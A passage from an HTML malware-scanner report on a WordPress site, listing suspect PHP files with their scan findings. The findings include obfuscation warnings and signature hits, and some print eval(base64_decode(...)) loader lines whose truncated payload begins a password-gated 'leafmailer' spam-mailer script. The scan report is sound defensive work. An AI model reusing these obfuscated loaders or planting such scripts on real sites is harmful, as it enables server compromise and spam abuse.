</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_361").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/author_template_1769473526/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:25:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:25:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_362" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_362").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/comment_section_1769473446/assets/images/category-template-1769473446.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:24:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:24:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_363" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_363").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/comment_section_1769473446/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:24:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:24:28</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_364" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_364").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/custom_file_2_1769473367/assets/images/custom-file-2-1769473367.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.04 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_365" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 109</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 56</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 7</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_365").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/themes/custom_file_2_1769473367/lndex.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:23:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:23:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_366" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_366").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/wplY6quOVTr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 166.77 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 19:29:40</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_367" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4341</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1732</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_367").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zxzbl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-30 13:13:00</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-30 13:13:00</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_368" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_368").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/nxfgt.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-30 13:13:02</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-30 13:13:02</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_369" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_369").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/uvxsz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:04</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:04</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_370" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
